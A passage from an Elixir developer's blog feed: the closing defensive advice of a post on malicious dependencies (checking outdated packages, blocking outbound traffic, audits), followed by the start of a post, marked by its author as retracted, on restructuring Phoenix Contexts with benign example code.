&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;phoenix_view&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;2.0.2&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;2.0.2&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Up-to-date&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;postgrex&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;0.17.1&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;0.17.2&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Update&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;possible&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;Run&lt;/span&gt; `&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;hex.outdated&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;APP&lt;/span&gt;` &lt;span style=&quot;color: #e6edf3;&quot;&gt;to&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;see&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;requirements&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;a&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;specific&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;dependency.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;To&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;view&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;the&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;diffs&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;each&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;available&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;update,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;visit:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;https://hex.pm/l/QKnyu&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you click the link at the end of the output, you will open a website that looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/steal-secrets/diff-outdated.png&quot; alt=&quot;A screenshot of diff.hex.pm that shows three packages that can be updated automatically. Next to every package, there is a &apos;diff&apos; button that takes the user to a website that shows the changes of the previous version to the latest version.&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#block-outbound-traffic&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;block-outbound-traffic&quot;&gt;&lt;/a&gt;Block outbound Traffic&lt;/h3&gt;
&lt;p&gt;A typical failsafe for preventing malicious libraries from &quot;phoning home&quot; is to block outbound traffic from the servers by default. In our case, the malicious library sends our secrets to Pastebin via HTTP call. If we block outgoing requests, we still have a malicious library in our application, but at least we prevented the extraction of our secrets.&lt;/p&gt;
&lt;p&gt;Not every hosting provider offers such functionality out-of-the-box sadly. Usually, you have to install software like &lt;a href=&quot;https://github.com/stripe/smokescreen&quot;&gt;Stripe&apos;s Smokescreen&lt;/a&gt; that adds a layer of protection to your servers. Here&apos;s how to add Smokescreen to &lt;a href=&quot;https://github.com/fly-apps/smokescreen/tree/master&quot;&gt;Fly.io&lt;/a&gt;. After adding this, you can configure which external URLs you allow and Smokescreen will block everything else. It&apos;s not easy to set up and maintain, but it will be worth it if you get attacked.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#audit-your-system&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;audit-your-system&quot;&gt;&lt;/a&gt;Audit your System&lt;/h3&gt;
&lt;p&gt;Ideally, you read all code of every library and of all their dependencies, but let&apos;s be honest: Unless you&apos;re extremely security-focused, you probably won&apos;t do that. Luckily, there are security experts like &lt;a href=&quot;https://paraxial.io/&quot;&gt;Michael&lt;/a&gt; out there who do it for you (for a price obviously). Just make sure that you add your third-party libraries to the scope of a security audit when you enlist a pentester.&lt;/p&gt;
&lt;p&gt;I leave one honorable mention for &lt;code&gt;mix hex.audit&lt;/code&gt; which warns you if you depend on a retired hex package. Most of the time, this won&apos;t do anything, but without it, you might not notice you rely on a retired library that won&apos;t receive future maintenance and security updates. So, better put &lt;code&gt;mix hex.audit&lt;/code&gt; in your build pipeline and forget about it.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#last-words&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;last-words&quot;&gt;&lt;/a&gt;Last Words&lt;/h3&gt;
&lt;p&gt;I hope this post didn&apos;t make you panic and call for an emergency staff meeting. Yes, very bad things can happen and you should keep that in mind. But you can mitigate the risk. Just be careful when you add a library. Avoid it when you can. And if you have to, make sure it comes from a reputable source and skim through its code. Block all outbound traffic if you can.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to support me, you can buy my &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;book&lt;/a&gt; or &lt;a href=&quot;https://peterullrich.com/course&quot;&gt;video course&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until the next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/how-malicious-libraries-can-steal-all-your-application-secrets"/>
    <id>https://peterullrich.com/how-malicious-libraries-can-steal-all-your-application-secrets</id>
    <title>How malicious libraries can steal all your application secrets</title>
    <updated>2023-07-22T10:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Hey folks, welcome back to another blog post! :)&lt;/p&gt;
&lt;p&gt;First, as always, the ceremonial dad joke:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;What do you call a typo on a headstone?
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;A grave mistake.
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anyways! This post is a mini-rant about Phoenix Contexts and how &lt;strong&gt;not&lt;/strong&gt; to use them. Enjoy!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#retraction&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;retraction&quot;&gt;&lt;/a&gt;Retraction&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Watch out&lt;/strong&gt;: I retracted this blog post because I changed my mind about Phoenix contexts lately. Read my retraction which includes my new favorite design here: &lt;a href=&quot;/resurrect-your-phoenix-context&quot;&gt;Resurrect your Phoenix Context&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
&lt;p&gt;I have a personal pet peeve with &lt;a href=&quot;https://hexdocs.pm/phoenix/contexts.html#thinking-about-design&quot;&gt;Phoenix.Contexts&lt;/a&gt; and think that almost everybody (including myself) uses them wrong. Let me explain.&lt;/p&gt;
&lt;p&gt;Let&apos;s say that you generate a new context for a &quot;thing&quot; in your Phoenix application. Initially, your context contains only the standard set of CRUD operations (Create, Retrieve, Update, Delete). That&apos;s great to get you started, but as you build your application, you start writing more complex code like intricate business rules, complex queries, permission checks, custom validations, etc. Now you face a problem. Where should you put this code? All this code is somewhat &quot;thing&quot; related, so you decide to put it into your context module, next to your CRUD operations. After all, even the &lt;a href=&quot;https://hexdocs.pm/phoenix/contexts.html#thinking-about-design&quot;&gt;Phoenix docs&lt;/a&gt; say that &lt;code&gt;Contexts are dedicated modules that expose and group related functionality&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You feel good about your decision. You gave some thought to how to organize your code, analysed the existing code structure, and made a decision. Congratjulations, you&apos;re a Software Architect now.&lt;/p&gt;
&lt;p&gt;Now, let&apos;s forward in time a little bit. You keep on adding features and your application has grown a fair bit. You continue to move any &quot;thing&quot; related code to your context module. You see how the context module grows and grows and you start to feel uneasy about it. You find it harder to navigate the module. You can&apos;t find the right functions without autocomplete or text search. Your test file is even larger than your context file and you lost an overview of what you&apos;re actually testing a long time ago. &lt;strong&gt;Your context has become the dumping ground for everything even vaguely related to &quot;thing&quot;.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-potential-reason&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-potential-reason&quot;&gt;&lt;/a&gt;The (potential) Reason&lt;/h2&gt;
&lt;p&gt;Every single Phoenix project that I&apos;ve worked on so far had this problem. Maybe the problem is me (probably). But when people ask me to analyse their projects, I often see the same (anti-)pattern. I think the problem is caused by two factors:&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#phoenix-as-a-role-model&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;phoenix-as-a-role-model&quot;&gt;&lt;/a&gt;Phoenix-as-a-Role-Model&lt;/h3&gt;
&lt;p&gt;First, Phoenix follows the same pattern, so it&apos;s easy to think that it&apos;s a good pattern. For example, if you generate an authentication system with &lt;code&gt;mix phx.gen.auth&lt;/code&gt;, Phoenix creates a single context that holds all your &quot;backend&quot; authentication logic. Most of them are CRUD functions for your &lt;code&gt;User&lt;/code&gt;-schema, but it also contains complex business logic like delivering the confirmation email:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;deliver_user_confirmation_instructions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;User&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;confirmation_url_fun&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;when&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;is_function&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;confirmation_url_fun&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;confirmed_at&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:already_confirmed&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;else&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;encoded_token&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;user_token&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;UserToken&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;build_email_token&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;confirm&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user_token&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;UserNotifier&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;deliver_confirmation_instructions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;confirmation_url_fun&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;encoded_token&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Having this complex business logic inside the context module isn&apos;t wrong. It always depends on your project requirements and your own preference. My point is that it &lt;strong&gt;implies&lt;/strong&gt; that it&apos;s okay to put business logic here. So, when a developer looks for a good place to put their own business logic, they might decide on the context module without a second thought because after all Phoenix does it too! Even the Phoenix docs say that &lt;code&gt;Contexts ... group related functionality&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The docs also say to &lt;code&gt;think of them as boundaries to decouple and isolate parts of your application.&lt;/code&gt;. That guideline helps when we need to separate the code for &lt;strong&gt;different&lt;/strong&gt; &quot;things&quot;, but it doesn&apos;t imply that we need to decouple the code &lt;strong&gt;inside a single context&lt;/strong&gt; as well. So, Phoenix and its docs don&apos;t push back against this anti-pattern and even promote it a bit.&lt;/p&gt;
&lt;p&gt;I just want to point out that I&apos;m not criticising the work of the Phoenix team here. They do a great job of getting us started quickly with their amazing generators. My point is that after the initial kick-off, it&apos;s our responsibility as developers to build upon that and to improve it. Sadly, we don&apos;t always know how which brings me to the second factor.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#you-dont-know-what-you-dont-know&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;you-dont-know-what-you-dont-know&quot;&gt;&lt;/a&gt;You don&apos;t know what you don&apos;t know&lt;/h3&gt;
&lt;p&gt;The second factor is that developers often don&apos;t know better. The internet is filled with tutorials about how to &lt;strong&gt;build&lt;/strong&gt; stuff, but there are very few tutorials about how to &lt;strong&gt;structure&lt;/strong&gt; your stuff. I wish the internet had as many code structure fanatics as it has home organization nerds. We&apos;d all be showing off with pictures of our clean codebase on Pinterest.&lt;/p&gt;
&lt;p&gt;And we would all know that dumping all your code into one module isn&apos;t a great way of organizing your code. But that&apos;s not the world we live in, so let me share with you my personal opinion on how you could structure your code better.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-solution-proposal&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-solution-proposal&quot;&gt;&lt;/a&gt;The Solution (Proposal)&lt;/h2&gt;
&lt;p&gt;My (very opinionated) solution proposal aims at breaking up your Phoenix Context into smaller components with the goal of making your overall codebase more maintainable. We&apos;ll do so in four steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Move CRUD operations into a &lt;code&gt;repository&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Move complex queries into &lt;code&gt;finders&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Move business logic into &lt;code&gt;services&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;(Optional) Make your Context your internal Interface&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let&apos;s go through them one-by-one. Here&apos;s an example of a convoluted Phoenix Context that we need to break up:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App.Things&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;moduledoc&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;&quot;The auto-generated Phoenix Context for Thing&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Example CRUD operations&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_thing&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Creates a thing&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;update_thing&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;thing&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Updates a thing&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Example Business Logic&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_thing_and_send_thing_created_email&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;thing&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_thing&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;         &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;deliver_thing_created&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;thing&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Example complex Query with joins, conditions, etc.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;list_things_that_are_relevant_to_customer_in_month&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;customer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;month&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;thing&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Thing&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;join: &lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# join another thing,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;where&lt;/span&gt;: &lt;span style=&quot;color: #8b949e;&quot;&gt;# complex conditions&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;select: &lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# custom select statement&lt;/span&gt;
